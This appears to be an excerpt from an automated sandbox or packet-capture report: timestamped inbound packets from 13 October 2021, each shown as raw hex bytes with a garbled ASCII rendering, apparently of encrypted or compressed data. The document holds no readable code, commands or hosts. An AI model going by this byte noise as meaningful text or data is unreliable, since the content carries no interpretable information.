7b 2c e5 8b 33 a7 47 09 d7 03 d0 3d 79 55 d6 55 a7 87 ec 4f 94 41 f3 42 38 53 fc 0b 7c 0b 15 7c 14 49 5b b8 0d 67 07 26 73 29 62 10 a0 0c b1 04 49 2a e4 43 86 4d 41 35 ca 63 b7 6e 4a 98 Data Ascii: e/5\|AsB8n\`Ne+;pM\|</bmH)t~)fQUAqt8q'pP.w1\|w HHU"D$&5pyY&p7f&y#;;sl1R'aL!){,3G=yUUOAB8S\|\|I[g&s)bI*CMA5cnJ
2021-10-13 10:51:51 UTC	92	IN	Data Raw: 18 47 30 4e 94 73 48 62 b5 ff e7 51 95 e2 ab 56 99 3a 3e 2c e7 ab c9 2a cf de 95 eb 64 57 56 d2 5e 25 d5 58 08 98 e8 16 99 b7 ce be da 91 2c dc c0 d7 ef 08 f6 70 46 15 3e 2d f7 99 70 10 86 c6 c7 7a 75 fe 1b db 01 1e 08 a1 1e 38 ae 59 0b 1b 22 77 de 6f b6 83 7b 05 ea c1 44 7e 70 05 a3 df 59 45 7b 3f de d3 96 e0 fe 35 f9 6f a5 bd 2a 89 a5 73 a1 b9 b5 f6 84 d3 e0 d7 d4 25 52 1f 34 54 ad 55 06 a6 74 07 74 3b 3c 1f 91 37 19 84 82 18 0c 3f db ad 15 26 67 6a c6 bd 1b 2f 96 56 8d bf 70 01 7b 05 62 a1 8a 51 09 4b d7 08 18 8b cd c0 ca 8f cd 81 b3 67 66 dc c3 b8 7b a1 78 27 35 ef b0 b0 c8 f0 41 f0 cf b4 cd 80 5f 66 45 53 37 f3 62 2d b8 97 69 fc b7 02 8b 91 88 a9 f3 47 f2 19 fc 08 51 6f 5c a1 0b 61 88 68 7d 39 a8 1e ad c9 8f 6b 51 f1 74 c1 17 de a9 4a 0c 7d 88 62 0a Data Ascii: G0NsHbQV:>,dWV^%X,pF>-pzu8Y"wo{D~pYE{?5os%R4TUtt;<7?&gj/Vp{bQKgf{x'5A_fES7b-iGQo\ah}9kQtJ}b
2021-10-13 10:51:51 UTC	93	IN	Data Raw: 1a f8 25 7b c9 37 87 84 b6 84 97 26 09 c9 c8 7f 99 90 68 18 72 26 d8 d9 70 14 e4 25 f7 24 f0 e9 89 99 29 32 1c 03 f7 f2 8b 3a 07 9a ac 9c ad 85 97 ae b2 8d 6c 1b 96 22 0b 0a 86 f2 b6 cf 30 72 4e e0 24 9d d0 df dd b8 1e fe 17 a2 39 80 10 16 e5 99 35 a3 51 1e c2 3a 71 b2 ce 44 35 41 b0 94 e2 4c 30 51 fe 55 25 c4 fb 23 6c 61 c9 6b c2 5e 5c d2 df 70 d1 31 6b a2 17 de b5 3d 53 7a da 5f 67 45 84 37 8c 30 dd bd b6 22 bc 53 77 2c 7f 95 ff 3e 2a 3b 79 a1 fc b6 ae aa 71 ec 69 63 c8 fb f1 af 11 f2 b5 dc e7 36 ec e3 5a 41 7c b3 db df c8 97 05 c0 43 86 3a c5 b0 0f 00 4f ae ed 97 c8 61 a6 cc c8 fc eb ad 88 c2 7d 39 55 c4 81 16 72 e4 ec d0 6d 46 31 a7 07 d2 14 ff 53 d5 49 3f a1 81 76 d0 c5 48 34 09 09 eb b3 ef ac 54 7e 18 e7 cc 1f a1 06 ae d1 cb e7 4c 1a 2a 64 e6 02 1a Data Ascii: %{7&hr&p%$)2:l"0rN$95Q:qD5AL0QU%#lak^\p1k=Sz_gE70"Sw,>;yqic6ZA\|C:Oa}9UrmF1SI?vH4T~Ld
2021-10-13 10:51:51 UTC	95	IN	Data Raw: b6 1d 50 9d c1 fc eb 95 ff 56 19 21 46 31 56 10 58 76 18 67 03 03 9f 42 33 13 aa 82 1c 80 48 b4 dd 16 0e 72 4d d7 bc 77 56 fb aa 86 c5 6b 22 40 0e 73 a5 81 fb 63 24 11 09 12 ad 1a c6 a5 a4 d9 92 b3 48 09 ce da ab 75 88 d3 3e cb ee 9a a7 c5 8c 71 e8 dc b4 d2 ab 3a 92 ba 52 11 e6 78 2f b2 99 41 74 b7 13 81 8c 67 a6 b0 78 c8 95 f6 1e 40 7f 20 58 0b 70 88 18 1d c5 a9 38 b8 d2 92 79 77 5c 7c c1 00 cf d9 37 f0 7c ae 47 04 64 2f 23 7c b6 50 b5 63 63 39 8b 1e 55 f6 fd 5c 6f e9 7b 1e 12 dc a0 b4 d1 78 21 54 26 74 90 98 e4 c2 6f c3 9a a1 46 ef bb 01 5e 2d 5d 1f ca 1d 38 9d 97 53 c6 4d 9a ea 19 05 69 00 71 2e c7 8c d4 4c 00 21 86 ac db 0d d1 c5 68 74 67 fb 46 23 e5 6b ff fc 0c 37 3f b2 6e e3 a7 26 3c 27 6c 8f 2d 06 0b 34 1f 2f aa 60 b2 5a 36 a6 9f 5c f1 24 9b ca 83 Data Ascii: PV!F1VXvgB3HrMwVk"@sc$Hu>q:Rx/Atgx@ Xp8yw\\|7\|Gd/#\|Pcc9U\o{x!T&toF^-]8SMiq.L!htgF#k7?n&<'l-4/`Z6\$
2021-10-13 10:51:51 UTC	96	IN	Data Raw: 70 c0 23 76 13 77 01 b2 2a a9 14 68 5c 7f 48 86 4b 46 ce dc 95 a2 af cc b3 70 34 85 fb b8 3e 01 33 8c 0a c1 89 85 d9 04 e4 7a 61 e1 98 fb fc a0 f2 b5 de e3 e2 c2 e1 4b 14 0d b2 db dd ec fa cd c7 6b ba 55 3a ba d1 29 40 86 c9 a7 ca 6b f3 c5 cb dc ea ad 88 42 57 c4 46 c4 87 34 df f3 91 37 4b 50 26 a3 07 78 15 ff 53 27 42 06 88 ba f0 d7 b6 61 20 0b 78 4d b7 f9 9a d2 cd 2f c2 24 c5 b2 38 b6 f2 dd 2a 4c 1c 59 3c 9c de 10 d1 39 d1 dc b8 77 4a e9 6e 85 7d d8 eb fe f3 87 fc 57 11 ca ce cb a7 b5 18 b5 d5 2c b8 f7 0e 97 bf 05 c8 25 24 3a a7 99 63 f1 1c 01 b0 b7 4a f4 2c 6b e4 f1 8b c5 f2 1b e4 76 a0 09 af 87 36 d2 46 fc db f7 93 95 7d 8b 0e 18 f3 6c 66 0a 89 e7 b5 87 7b f7 08 2c ca e4 d6 9f b5 92 bb da 35 f0 90 e0 09 5d 11 35 4f 3b 45 21 82 82 8d 4b 68 b3 d3 f0 7b Data Ascii: p#vwh\HKFp4>3zaKkU:)@kBWF47KP&xS'Ba xM/$8LY<9wJn}W,%$:cJ,kv6F}lf{,5]5O;E!Kh{
2021-10-13 10:51:51 UTC	97	IN	Data Raw: 09 5b 3d 5d 70 c7 ba 02 a9 df 59 74 5f e2 b2 c1 06 c5 a0 4a f7 44 68 6b 32 62 3e 3c 16 9f ac b4 45 65 32 b9 36 3d 4c fd 5c 63 f5 68 1e 12 dc df da d8 50 04 5a 39 7b ec f2 e6 d3 60 ff 75 ab 6c f4 b3 69 14 c4 5d 15 a1 69 29 98 9d 64 e8 7c 75 e6 1d 77 71 13 72 03 cb 98 c3 9a 2e 0e 90 ac 91 9c d4 73 63 52 70 83 3e 30 eb 0e bb 81 0e 3d 5a d1 71 f0 a8 00 3c 2c 64 50 c0 09 36 30 07 59 14 34 4d af d6 a4 a1 69 e0 3e b6 09 79 7f aa 76 43 bc 13 05 52 8c ca 86 8f 7d 53 ee a3 5d ea 94 65 07 e3 de f2 7d 7e 8f 07 2f 70 da e2 4f 68 b2 91 14 98 24 70 13 0f 4e 0a 5b 90 33 e3 76 77 65 b0 2d 7d 42 43 81 4b 55 cb a6 7d 60 9d 34 4c f2 d5 32 76 92 1a 73 c3 9d e5 3b c8 e1 f2 f0 b3 5c 2d d7 82 5a 33 d8 f4 64 e4 02 de a4 91 8d be 52 27 97 d8 0c c4 f8 23 9a ce 35 90 ff 16 91 9d 23 Data Ascii: [=]pYt_JDhk2b><Ee26=L\chPZ9{`uli]i)d\|uwqr.scRp>0=Zq<,dP60Y4Mi>yvCR}S]e}~/pOh$pN[3vwe-}BCKU}`4L2vs;\-Z3dR'#5#
2021-10-13 10:51:51 UTC	98	IN	Data Raw: 13 35 3a 42 3a 02 7c 92 30 8d 4a a5 35 14 0e 72 16 c9 b6 68 72 88 5b 87 cc 77 fa 50 29 60 b6 94 61 05 54 1a f7 19 a7 0f eb cf a6 b1 6d 46 a0 db f7 c3 ab 4b b2 72 92 cb ee 9c 66 cb e3 57 fc d0 86 53 91 55 7c bb 5a 01 0b 75 12 b3 8b 04 6e b7 13 8b f7 79 a9 df 4b d1 99 fc 00 48 8d 4e 87 01 73 aa e5 71 c7 a3 1e e4 c5 8f 74 57 f5 80 c0 2a d6 ae 55 f2 74 bf 95 33 4e 3a 06 58 9d 5e b5 61 6a cb 9d e4 32 89 47 5d 65 80 1d 05 1e d6 a4 ba d3 ae 0f 7b 2c 75 fb 8a f5 c3 65 e1 94 a0 4c fe bd 70 97 2e 71 1f a2 6a 47 8f 9c 75 e9 74 82 eb 31 7c 75 fe 76 2f d3 9a dc 19 20 23 86 ae a9 6e d3 cd 7f ac 77 dc 49 35 e9 79 c6 ff 0c 39 4e d1 6c eb bb fe 2c 05 79 4e 32 08 12 25 04 c8 95 1a 4f 8e cc 96 ef 93 1f d0 b4 3b 94 4e 85 7d e0 bf 60 b1 82 8c cc 9d 80 7d 52 d6 20 58 f7 6a 64 Data Ascii: 5:B:\|0J5rhr[wP)`aTmFKrfWSU\|ZunyKHNsqtW*Ut3N:X^aj2G]e{,ueLp.qjGut1\|uv/ #nwI5y9Nl,yN2%O;N}`}R Xjd
2021-10-13 10:51:51 UTC	99	IN	Data Raw: bd 99 ed 38 4c 88 30 68 ff 94 2d 2f 2e b4 17 d8 b2 96 a8 0a f5 7b 6b cf d0 d3 86 7e f2 aa ce dc e6 e8 f2 59 76 dd 4c da f5 e2 83 6d d7 6a be 3e e9 23 ce 2c 79 83 da 86 cd 71 4b c4 e7 d9 fc a6 93 51 50 ec 40 c1 98 31 23 e4 c0 cc 49 57 20 db 3f eb 14 fb d7 bc f1 f9 c8 3d f6 bf 40 27 f1 0a 72 31 ac ff bb df c9 1e 38 c5 3b b3 25 b4 e2 27 d6 b3 e5 35 6f 8e db 1a ba 3e cd a8 99 76 66 fd 6e fa 0e 39 eb fa 98 24 fe 57 08 f7 d2 c1 f1 b0 18 a4 d0 33 a8 09 0d b8 b2 15 a0 da db c3 bd a0 e2 f5 1c 1a 99 a3 6e 24 2f 47 ea 8a b5 11 fe 0e 93 6b a1 21 2c 83 29 d2 94 f6 df cf 93 97 00 f4 26 1a f7 6e 73 85 9c 9a 5e e8 aa f2 0a 2f db eb ed e2 b5 83 b8 bb 29 f1 bc f9 21 26 1f 34 5c 0f 43 5a 58 83 8d 4f 7e b1 a8 e0 78 46 e2 25 e7 e7 92 b2 51 ed b6 db 07 d0 ce 90 f9 e9 0f 78 dd Data Ascii: 8L0h-/.{k~YvLmj>#,yqKQP@1#IW ?=@'r18;%'5o>vfn9$W3n$/Gk!,)&ns^/)!&4\CZXO~xF%Qx
2021-10-13 10:51:51 UTC	100	IN	Data Raw: 89 72 a5 6b 36 61 45 33 12 81 56 a3 06 e1 37 9c c2 1c f9 87 47 64 86 12 17 39 f0 a5 a3 cc 57 08 d9 91 18 d7 62 e4 c2 6f 52 e4 f1 40 fe bf 7d 6c 2b 5b 03 b4 77 55 33 9d 75 e7 6c 9a e2 89 1a b3 0b 70 15 b0 ad 0a 60 40 d9 86 aa be 61 a8 dc 63 52 72 ee 73 34 e2 6b 67 fe 0c 37 47 f7 6c f8 9d 03 2d 06 7b 59 3e d3 1a 3a 1f 45 05 36 4d af c5 ac b1 64 8f e4 b2 11 81 52 8a 79 49 d0 1a b1 53 86 9d 9b 9d b0 47 ea a6 09 e1 61 ba 21 e2 fa 9b f5 13 d8 0d 31 69 03 e5 74 6d aa 7f 15 b4 2d 73 17 7c e7 28 5b 9c 38 f9 65 72 7e 91 2d 66 bb 43 ad 41 8e cd db 87 62 cd 4b 5e e0 d0 36 12 ab 0c 8d c3 9c ed 04 f5 e6 f2 e7 c5 c5 25 29 89 0c 33 a3 9e 95 ca fd 27 51 93 05 be 49 1d 98 f0 a1 c6 f8 29 5b c7 4b 19 eb 1d 8f bf e0 22 c9 cf 70 9d 96 07 8f 7b 26 dd d0 76 33 c3 37 f1 0d 68 eb Data Ascii: rk6aE3V7Gd9WboR@}l+[wU3ulp`@acRrs4kg7Gl-{Y>:E6MdRyISGa!1itm-s\|([8er~-fCAbK^6%)3'QI)[K"p{&v37h
2021-10-13 10:51:51 UTC	102	IN	Data Raw: 06 76 9a dd 61 b1 3a d2 a5 08 ea 4a ed 66 8b 1e 2b ed fe e6 ab ea a9 03 d6 ce dc f1 b3 18 a4 d3 33 af 09 0d b8 b9 06 7f 1c ad c1 5d 4e db e3 2c 0f 9c 0e 61 da 2e b4 e2 82 b3 d1 e1 17 a6 dc a7 21 3d 86 27 de 75 ed 0d d8 bd 8e 79 83 29 1b f3 62 3c 08 1f 9a 54 af e7 f1 0a 23 d2 f8 91 49 b5 92 b7 b8 cc e3 96 e4 32 5b 0e 29 a2 0a 6d 35 4a f9 83 4a 68 b7 d4 e6 7e c8 51 c4 fe 88 3c b8 4e fa b8 ce 02 c1 d9 8a f6 e9 0f 78 c5 56 24 d2 73 08 9c ed 0e 03 b5 bf b4 cc 89 fc 72 c0 c6 f3 1a ed 67 54 03 3d 28 fe a4 e7 11 aa da d6 05 6a fb 0d 21 0b 9a b9 3b 21 8c 7f 5d 01 0b 2b 1c fc 12 b6 89 65 3b e6 c6 44 65 05 47 5f de 7f 36 0c 3d 05 c4 44 61 c9 26 ff 6e a7 be 36 9c 4a 77 9c a0 39 3a 98 d1 f6 fb be 5e 72 18 27 54 94 cc 12 58 7d 1a 69 78 85 37 42 39 06 90 80 1a 80 53 dd Data Ascii: va:Jf+3]N,a.!='uy)b<T#I2[)m5JJh~Q<NxV$srgT=(j!;!]+e;DeG_6=Da&n6Jw9:^r'TX}ix7B9S
2021-10-13 10:51:51 UTC	103	IN	Data Raw: e0 25 b8 0e 90 6d 82 7d 50 bb 7c 4f 52 a0 db 8e ed 60 57 ee b6 47 da 42 f8 29 ea dc 8b e5 13 21 0d 31 69 c2 f1 5a 6d ba 6b 0e 4a 2e 5f 09 7e 81 05 5a 96 3c e6 49 18 4d 3f 2a 66 b6 54 b3 2e fc cd db 9c 7c 8e 34 50 f0 d4 2b 99 96 20 82 c0 ca e8 2d db e0 f4 8e 29 41 27 23 99 65 35 f3 e0 58 d4 f7 df 5a 97 ba be 32 19 94 d8 33 c6 83 2f 56 ce 31 ee 67 1f 85 9d 4a 21 b2 d8 62 99 94 be 30 e7 24 d7 c9 66 06 91 8b f7 25 fa f6 a4 8a 31 70 0d 15 f2 ea 75 3a 30 d4 a7 e7 21 86 97 aa 6b 81 e1 21 82 31 0c 10 9c e3 82 3b 26 61 4a 68 21 9c fa 34 ce bd 0a 6f 1d a8 18 6d 14 04 e7 17 3c a8 74 f3 c1 12 dd 2f c7 58 2c b9 b2 94 e2 f8 89 4b de ac 36 c2 ea b9 67 06 30 94 c2 5a 5e 35 0a 6d f1 ca 7d 38 6c 9d bc 23 77 ea 44 5e 67 df 8f 53 59 10 22 b9 a0 b8 5b ba 68 26 5b 05 94 3c 2a Data Ascii: %m}P\|OR`WGB)!1iZmkJ._~Z<IM?fT.\|4P+ -)A'#e5XZ23/V1gJ!b0$f%1pu:0!k!1;&aJh!4om<t/X,K6g0Z^5m}8l#wD^gSY"[h&[<
2021-10-13 10:51:51 UTC	104	IN	Data Raw: 73 a0 db f0 68 4e f9 bc ae 89 10 b8 59 88 04 c8 02 da c0 8d f2 1f 0e 45 da 4b 41 22 73 24 8f f8 76 e4 ab be be de 92 c3 a7 db c7 f9 01 cb 63 53 03 2c 31 fe a2 11 10 97 c8 cb 72 9a fb 21 2e 13 11 09 35 de 03 78 42 06 0e 3b 73 43 1a a9 9c 84 2c d9 cc 47 24 15 21 b8 de 53 3b 6d 08 17 cc 40 7c dd 2a ef 90 b7 94 38 8e e4 0d a9 bd 3b 45 88 90 e1 01 42 da 4d 0e 34 58 bc 40 18 47 7d f2 72 3b 27 34 12 26 64 a2 92 1c 84 5d d0 be 1c 0e 69 63 d9 aa 96 77 b8 59 83 aa e4 06 51 0f 5b 06 99 61 0c 54 0d 1a 10 8b 1c c8 d5 bf 25 93 95 4f d1 a6 cd b9 7b b4 7b 51 6a ec 9c bc d4 c1 55 e2 dc af c5 8a ab 7d 97 59 1f 9a fd 3c be 86 69 f2 ab 00 89 8a 67 a0 c5 b1 cb b9 f3 0a 2a 7d 4e ab 0f 1f 0b 75 70 cd a4 29 b8 d7 83 65 57 fd 75 3f 07 f8 a6 5d f4 6a a2 e5 85 0d 65 2d 13 8b 59 aa Data Ascii: shNYEKA"s$vcS,1r!.5xB;sC,G$!S;m@\|8;EBM4X@G}r;'4&d]icwYQ[aT%O{{QjU}Y<ig}Nup)eWu?]je-Y
2021-10-13 10:51:51 UTC	105	IN	Data Raw: ec 0a c5 1e 21 23 c9 d7 70 91 90 79 10 66 3e 29 c2 5c 01 fb 26 ff 3a e4 3f 87 d9 34 70 16 39 46 f0 8b 31 61 89 a4 9c 2b 98 8e bd 7c 8d 7d 02 9d 3a f3 1c b9 f9 ab db 3e 25 19 f5 28 8b c5 c7 dd b5 0a e2 1c af 36 6c 15 28 f6 8e 4e ad 55 0c c5 07 b3 f3 7b 42 0c 46 ad 9b f1 6c 80 41 f6 4c 2d 3c eb 09 62 12 01 6c fc 87 5e a9 03 6f cd 26 75 38 7d 09 aa 31 a9 14 68 50 62 38 9d 4d 50 34 c8 d7 93 7f d8 be 64 24 7b eb 9c 23 20 cf a6 c5 d5 8f 9d bd 31 1e 7a 6b cb f5 f2 94 76 f2 a4 d2 d0 f7 16 e2 70 79 d0 ba c4 d3 38 a9 98 c5 6b b4 29 c0 a5 c4 30 62 86 cb 9f d7 7e 4b c4 e7 d0 fb ab 9f 02 7f 13 ae 3b 98 28 ce ed ec c7 43 4e dc a1 03 e5 17 f7 47 dd 61 a0 a4 b8 fa c2 c1 57 2b 18 7a 37 a2 e7 b7 cd 37 0e 11 c2 c0 b1 01 a2 d6 25 00 0c 1b 2a 6c b5 75 18 ab 31 af 80 66 77 4e Data Ascii: !#pyf>)\&:?4p9F1a+\|}:>%(6l(NU{BFlAL-<bl^o&u8}1hPb8MP4d${# 1zkvpy8k)0b~K;(CNGaW+z77%*lu1fwN
2021-10-13 10:51:51 UTC	107	IN	Data Raw: bd 21 48 73 30 3f 2f 53 10 52 51 0b 1c a5 29 37 48 20 10 80 e8 12 81 42 df bc 1d 61 e7 69 c6 bd 6f 19 3b 54 87 cf 6d 0c 3f 25 32 ea 9f 67 66 65 14 1f 12 56 c9 c0 ca 9e d9 e9 b7 5e d3 d9 dc a4 11 a7 1d ad c9 ee 96 90 cc 8c f4 e8 dc b4 de 99 52 13 09 50 1b ff 67 3a b9 e3 c8 f4 b7 19 8c 9b 73 b9 d9 c3 30 95 fc 09 79 44 4e ab 01 72 f9 79 71 c7 ad 5d 0b dd 83 7e d3 71 7e c1 07 c2 9e c6 f3 7c ae 47 36 74 34 f3 60 83 43 bd 14 63 34 9c cc 38 eb f8 4b 0f 5c a1 0b c4 5b 87 a5 da 51 73 47 27 72 fb f5 9d cc 64 e5 8f a3 56 91 26 6c 69 25 7b 17 de 7c 3b 9d 99 77 96 7b 8a e7 35 62 78 04 c0 6c 81 9d df 6e 09 20 fd a4 b5 62 d7 cc 74 3d e5 f2 40 38 cd 13 c2 20 2e 3f 2b d3 6d e3 a9 6f a4 2b 7b 53 28 62 27 52 f0 c9 6b e8 41 8d fe ae b2 66 c8 17 b3 11 8d a0 86 6b 6b b9 4a f0 Data Ascii: !Hs0?/SRQ)7H Baio;Tm?%2gfeV^RPg:s0yDNryq]~q~\|G6t4`Cc48K\[QsG'rdV&li%{\|;w{5bxln bt=@8 .?+mo+{S(b'RkAfkkJ
2021-10-13 10:51:51 UTC	108	IN	Data Raw: b5 37 43 3d ae 5a 67 45 91 c1 57 30 dd b8 b3 bc d6 b7 61 3b f7 d5 94 3c 2b 93 b6 ed cd 8a 8f bd 59 4b 7a 6b c1 ed ed af 9b f6 b5 dc d9 6e ef e3 5c 68 c7 a6 cf f1 46 81 16 cd 7f 96 d1 c1 ba d7 34 e7 81 da 97 c9 78 b1 d4 cf ca fd 21 a7 42 55 ed f3 d5 83 2a c9 f3 fb fe e6 50 22 aa 28 fe 3c 13 5d 0b 4f 38 2b bf f0 d1 c4 5c 36 1f 65 1f 1f ef a8 d0 ef 24 67 dc d1 9a e4 b9 da f5 3e c1 1d 2a 66 9c ca 0e bf 13 7a a1 67 7d 5e c5 82 85 00 3e fd 73 f0 ad fc 56 16 ee d9 e3 4a b5 18 bf fd 3d b8 f7 06 98 b3 39 52 cb 20 3c a4 a6 7c f7 1c 0b 9d af 66 cb 2a 7d ca 72 a6 c7 f4 b3 8f 7c b0 35 29 ae 9e d8 6a fd db 61 91 95 71 d4 25 31 cb 61 08 20 73 9e 54 81 6d 7e 0d 29 c4 e1 ea f3 a1 ba 15 a7 d7 fa 84 cc d2 59 11 33 4a 86 46 21 48 83 99 5f 7c 9b 7b f0 79 4c ce 1c 50 88 36 9a Data Ascii: 7C=ZgEW0a;<+YKzkn\hF4x!BUP"(<]O8+\6e$g>fzg}^>sVJ=9R <\|f*}r\|5)jaq%1a sTm~)Y3JF!H_\|{yLP6
2021-10-13 10:51:51 UTC	109	IN	Data Raw: 32 a1 f7 78 70 5f e4 11 78 04 d4 bc 36 7e 7d a4 61 1a 9d 3a 2d 15 ee f0 b5 69 78 24 91 a7 b0 fb fc 56 4d 7d 12 1c 14 b9 15 a7 da 5a 61 db 27 72 f5 df bd c0 65 e3 e4 a8 41 fe bf 31 45 0e 5b 04 a1 63 37 f2 17 74 ed 61 a3 1c 35 74 6f 6f ce 01 da 97 b0 e8 2e 22 8c 82 93 62 d3 cf 69 8c 5c e1 51 5d 20 04 c8 f4 36 44 af 22 93 3d bb 11 3c 5c 40 59 3e 09 36 36 1f 27 e1 0d 4d a5 c8 c1 e5 6c e0 25 6f 39 72 7a 86 7b 6b b8 4a b1 53 8c 8d e8 96 6e 54 ee b2 58 da 6a 64 2b e1 d6 9d fd 44 8f 0d 31 6f df e2 5e 6d ab 6f 15 b6 2f 73 11 38 fa 0b 5b bc 39 f9 65 1c 64 a1 28 70 bc 42 ad 41 52 cd db 94 60 9d 30 db e0 d0 32 7f 97 0c 8d 61 b0 e6 2c d7 e4 f2 e1 b6 43 27 29 81 76 31 f3 48 5d cb fd bb 5b bb 93 ef 4b 17 95 ce 37 c4 f8 23 57 ce 35 9a db 14 85 62 22 23 c9 25 63 99 81 76 Data Ascii: 2xp_x6~}a:-ix$VM}Za'reA1E[c7ta5too."bi\Q] 6D"=<\@Y>66'Ml%o9rz{kJSnTXjd+D1o^mo/s8[9ed(pBAR`02a,C')v1H][K7#W5b"#%cv
2021-10-13 10:51:51 UTC	111	IN	Data Raw: da 0b 2c df aa 72 0b bd d0 db 2d 49 1a 2c 09 5c dc 1a a1 54 10 a3 67 7d 25 f8 6c 81 0a 33 fa f8 98 c6 fc 57 08 d7 00 15 ee a4 1e 99 d2 3d be 98 5b 94 bb 27 a6 23 2e e2 b7 94 d9 c7 1c 0b 96 af 67 f2 28 6e e2 84 a8 ef ca 11 9e 72 7a 21 3b ac 36 d8 6b eb f3 d9 93 95 63 f8 18 4d f3 6a 1c 08 9e 9a 54 87 7b f3 6d 4e c4 f5 e4 e7 b5 93 a6 97 d4 f0 3c e4 23 5d ff 35 5c 1a 69 26 4d 82 8b 38 d6 b1 d3 fa 75 4e 89 14 52 88 36 bf 2f 7f ab c8 08 db d6 fa 89 17 0e 5e c1 52 74 84 63 0e f7 92 26 9f bd cb f8 da 91 92 cf c4 c1 87 9d f5 74 58 6c 31 2f e1 bb 35 3c 97 c4 fc 76 61 fa 0b 4a c1 16 0e 87 21 a8 7d 5d 01 31 21 62 56 3a bf 86 7a 2b 9a 03 46 74 09 33 b4 df 53 35 79 39 00 ab 84 6f d5 3f fe 46 50 bb 29 8b ca ee b0 bc 31 2e eb d0 f6 f5 b6 34 54 76 4c 50 bc 5b 3d c7 a9 00 Data Ascii: ,r-I,\Tg}%l3W=['#.g(nrz!;6kcMjT{mN<#]5\i&M8uNR6/^Rtc&tXl1/5<vaJ!}]1!bV:z+Ft3S5y9o?FP)1.4TvLP[=
2021-10-13 10:51:51 UTC	112	IN	Data Raw: 0a 1a 30 1f 30 44 1d 4d a5 c8 86 a6 6c e0 25 9b 15 86 7e 8c ab 52 b9 71 b7 42 89 fe 55 48 62 47 ea 9e 5f e6 6e 0b 7c ea d6 97 21 7e 89 62 fc 61 df e8 48 77 bd 00 e1 b5 2f 75 39 6a fb 0b 51 be 61 fb 65 74 4d 8f 2a 66 ba 2d d0 41 52 c7 d0 94 66 f2 fd 52 e1 da 28 7d 81 63 79 c3 b1 e0 04 cd e5 f2 eb 9e 1a 25 29 85 5e 1f f1 f1 5a a4 80 21 5b b1 9e be 4f 78 58 da 37 ce e7 2f 4d d9 5a 75 ea 1d 83 81 08 3a c8 c9 69 95 97 40 09 7c 26 d1 ac 6d 19 fe 2f ce 92 f1 e9 af b1 27 75 1c 17 e0 fb a3 28 19 aa a3 f3 32 86 97 a4 58 81 65 22 96 34 0d 1b bd d1 a2 c4 2c 6c 48 f2 47 46 d8 cb c4 a2 32 e9 02 df cc 93 14 02 cf 9d 34 b1 5e 24 98 10 dd b5 e6 6c 0e 46 b4 fb 9f 64 80 5a d6 6b 34 c2 e0 36 69 0d 03 63 fa 0b 5f a9 03 61 d6 37 06 0f 6d 01 b1 52 99 17 44 54 bd 5b 5e 5b 8a 27 Data Ascii: 00DMl%~RqBUHbG_n\|!~baHw/u9jQaetM*f-ARfR(}cy%)^Z![OxX7/MZu:i@\|&m/'u(2Xe"4,lHGF24^$lFdZk46ic_a7mRDT[^['
2021-10-13 10:51:51 UTC	113	IN	Data Raw: ef 23 4c 1a 2a 7d f5 40 0d 45 81 03 fc 61 ab 05 2a 6a 42 f9 89 43 83 3c a3 5a f8 a5 36 03 fc d2 84 e4 08 3e 3b 2b 55 5f da 6d 07 8b f0 26 8e bc a4 40 db bd 95 ca d3 c2 e5 16 fe 74 43 08 33 07 1f b0 35 1b f5 c0 d6 7e 62 e9 0a 3a 28 07 05 8d 18 1b 6a a3 0a 31 30 6b 41 19 b6 92 71 37 0b c1 68 7c 3b 9b 5f 20 ac 24 61 23 04 d5 4b 72 cf cb f8 42 ba a9 23 95 f4 d3 b0 bc 3b 5e 8d c3 fd ff ac 2e 4d 02 d9 51 90 5a 63 58 75 0c 75 04 2d 28 5e 20 12 82 82 17 99 bc da 81 18 18 7b e5 71 a0 b2 65 9d 5b 9d d6 6a 04 40 0e 7a 5f 98 4d 05 38 13 0b 18 8d 06 d9 d9 95 db 83 b2 40 c0 23 c2 94 76 b3 fc 89 c2 f6 4a 6c d8 e7 59 fe cf b5 cd 80 5e 63 84 ac 1a d9 7f 3d b7 9b ac 67 a4 17 9e ca 65 a3 df 5e c1 8a d7 f6 50 5f 5f ba 0c 73 8b 60 a6 56 c6 c9 aa df 85 6b 73 f1 75 c1 17 df a9 Data Ascii: #L}@EajBC<Z6>;+U_m&@tC35~b:(j10kAq7h\|;_ $a#KrB#;^.MQZcXuu-(^ {qe[j@z_M8@#vJlY^c=ge^P__s`Vksu
2021-10-13 10:51:51 UTC	114	IN	Data Raw: fe b1 76 71 49 e4 7b 57 91 57 10 ff f7 ab e3 49 11 f1 cd da e9 aa 0a 4b d4 00 ab ff 82 23 b8 a3 cd 2d 3c ea 78 8f 37 0e e3 f4 83 af 71 d1 2e 7a e9 9d 80 39 f3 3d 97 40 db dd c2 79 29 fb 79 fc f3 c8 9a 8a 6a 06 26 36 e0 65 15 1f 48 0b 43 5d 6c 25 87 02 c4 e0 ff eb aa 80 ae ac d7 e1 9b fb 1f a3 10 19 49 02 59 f7 4b 8b 9a 9d f9 65 d0 7e ce 78 67 56 af 77 23 8f 42 ec ab d9 09 cf ed 6b e0 3b 1f 57 db 4c 89 d4 64 19 9c d3 3c 9e b7 b5 a1 e9 82 98 dc d1 cd e5 fb f4 58 5a 00 25 bf f2 bb 04 03 8d c0 c5 75 7b f7 f3 24 2e 1f 7d 8d 0b 10 7b 4e 0e 02 3d 60 59 12 a7 88 65 33 0b c1 68 65 04 33 5d de 53 39 63 2e 6b 17 42 6d df 2a e6 7d bd b8 38 86 ab 36 4e bd 17 50 95 d9 ee 29 b5 33 43 1d 0f 4a bd 51 1a 47 36 1f 78 17 3a 3c 5d 24 e7 83 bf 0a 87 2d 27 ac 14 08 7a 63 a9 40 Data Ascii: vqI{WWIK#-<x7q.z9=@y)yj&6eHC]l%IYKe~xgVw#Bk;WLd<XZ%u{$.}{N=`Ye3he3]S9c.kBm*}86NP)3CJQG6x:<]$-'zc@
